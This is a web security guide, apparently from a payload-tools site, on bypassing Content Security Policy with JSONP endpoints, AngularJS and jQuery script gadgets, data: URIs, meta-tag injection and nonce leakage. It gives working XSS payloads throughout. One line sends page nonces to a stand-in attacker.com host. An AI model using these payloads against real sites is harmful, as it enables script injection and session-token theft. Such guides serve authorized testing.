Content Security Policy Bypass: Defeating CSP with JSONP, Angular, and Script Gadgets
Content Security Policy (CSP) is one of the most effective browser-side defenses against Cross-Site Scripting. A well-configured CSP whitelist prevents inline scripts, restricts which domains can serve JavaScript, and eliminates dangerous APIs like eval(). But "well-configured" is the key phrase — and in practice, most real-world CSP headers are riddled with bypasses. This guide walks through the most impactful CSP bypass techniques used by bug bounty hunters and red teamers today.
Understanding CSP Header Structure
| Technique | Prerequisite | Bypass Method | Difficulty |
|---|---|---|---|
| JSONP abuse | JSONP endpoint on allowlisted domain | callback=alert(1) | Easy |
| Angular template injection | angular.js on CDN allowlist | ng-app with template | Medium |
| Script gadget | Framework/lib on allowlist | Gadget in allowed library | Hard |
| Dangling markup | no img-src restriction | Steal tokens via img src= | Medium |
| base tag injection | base-uri not set | Redirect relative URLs | Easy |
| iframe sandbox | sandbox allows scripts | iframe srcdoc bypass | Medium |
| nonce prediction | Predictable nonce generation | Reuse/predict nonce | Hard |
CSP is delivered via an HTTP response header or a <meta> tag. A typical header looks like:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
The key directives for XSS are script-src and default-src. If either includes 'unsafe-inline' or 'unsafe-eval', the policy is effectively useless against most XSS.
Checking for unsafe-inline
The quickest win: check if the policy includes 'unsafe-inline'. If it does, you can execute arbitrary inline scripts and the CSP provides no XSS protection whatsoever. Many sites add 'unsafe-inline' because their legacy code relies on inline event handlers. Use Google's CSP Evaluator (csp-evaluator.withgoogle.com) to audit any policy before hunting for exotic bypasses.
JSONP Endpoint Abuse
JSONP (JSON with Padding) endpoints wrap arbitrary JavaScript callbacks around JSON data. If a trusted domain in the CSP whitelist serves a JSONP endpoint, you can use it to execute arbitrary code. The classic pattern:
# Suppose the CSP allows: script-src https://accounts.google.com
# And Google exposes a JSONP endpoint:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
The browser fetches that URL, receives alert(1337)({...}), and executes it — all allowed by the CSP because the source is whitelisted. A sprawling list of exploitable JSONP endpoints is maintained at JSONBee. Check every third-party analytics, CDN, and OAuth domain in the target's CSP.
Angular Template Injection as a CSP Gadget
If a whitelisted CDN hosts AngularJS (not Angular 2+), you can use it as a script gadget to bypass script-src even without 'unsafe-inline':
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>
<div ng-app>{{constructor.constructor('alert(document.domain)')()}}</div>
This works because Angular evaluates template expressions on page load. The script comes from a whitelisted origin (googleapis.com), so no CSP violation occurs, yet arbitrary JavaScript runs. Other Angular-based gadgets include ng-include for pulling in attacker-controlled templates and ng-click for event-triggered execution.
Script Gadgets in React and Other Frameworks
React-based applications compiled with webpack often bundle modules that can be abused as gadgets when loaded from a whitelisted origin. Tools like CSP Bypass and the script-gadgets project catalogue dozens of gadgets across jQuery, Bootstrap, Lodash, and others. For example:
# jQuery 3.x: data-* attribute gadget
<div data-toggle="tooltip" data-html="true" title="<img src=x onerror=alert(1)>"></div>
Always check which library versions are loaded from the CDN domains in the CSP — an old jQuery version on a whitelisted CDN is a reliable bypass.
Nonce Prediction and Leakage
Nonce-based CSP is the modern recommended approach:
Content-Security-Policy: script-src 'nonce-r4nd0m9xyzABC'
<script nonce="r4nd0m9xyzABC">/* inline script allowed */</script>
However, nonces are only effective if they are:
- Cryptographically random (not sequential or time-based)
- Different on every page load
- Not leaked in the DOM or via
Refererheaders
Test for nonce reuse by loading the same page multiple times and comparing nonce values. Test for leakage by injecting a tag that sends the nonce to an external server: <img src="https://attacker.com/?n=" onerror="this.src+=[...document.scripts].map(s=>s.nonce).join(',')">. Some frameworks statically compile nonces into bundle files, making them constant across requests.
Bypassing CSP via data: URIs
If script-src includes data: as an allowed source, the bypass is trivial:
<script src="data:text/javascript,alert(document.domain)"></script>
Modern Chrome blocks data: navigations in top-level frames but still allows them in iframes in certain configurations. Always test data: URI support when you see it in the policy.
Meta Tag Injection
If you can inject a <meta> tag before the server's CSP header is processed by a meta-based CSP, you can override it. More practically, if the application relies on a <meta> CSP and you can inject earlier in the document:
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline'">
Note: HTTP headers take precedence over meta tags — this only works on apps using meta-based CSP without server headers.
report-uri Abuse
The report-uri or report-to directive tells the browser where to send violation reports. While it cannot be used for code execution directly, it can leak sensitive information. Violation reports include the blocked URI, document URI, and referrer — useful for reconnaissance. Also watch for SSRF conditions in internal logging infrastructure that processes these reports.
Testing Workflow
- Capture the CSP header from the target and paste it into Google's CSP Evaluator.
- Identify whitelisted domains — check each for JSONP endpoints and old Angular/jQuery versions.
- Check for
'unsafe-inline','unsafe-eval', anddata:sources. - Inspect nonce values across multiple requests for predictability or reuse.
- Use the WAF Bypass Generator to mutate payloads for any whitelisted-domain-based bypass.
- Test XSS payloads in context using the XSS Payload Generator once a bypass vector is confirmed.
Related Tools and Reading
Use the Encoding Pipeline to encode payloads injected via JSONP callbacks. For DOM-based XSS that CSP does not protect against, see our DOM-Based XSS guide. Once you have script execution, chain it with our Broken Authentication Testing guide to steal session tokens and escalate impact.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides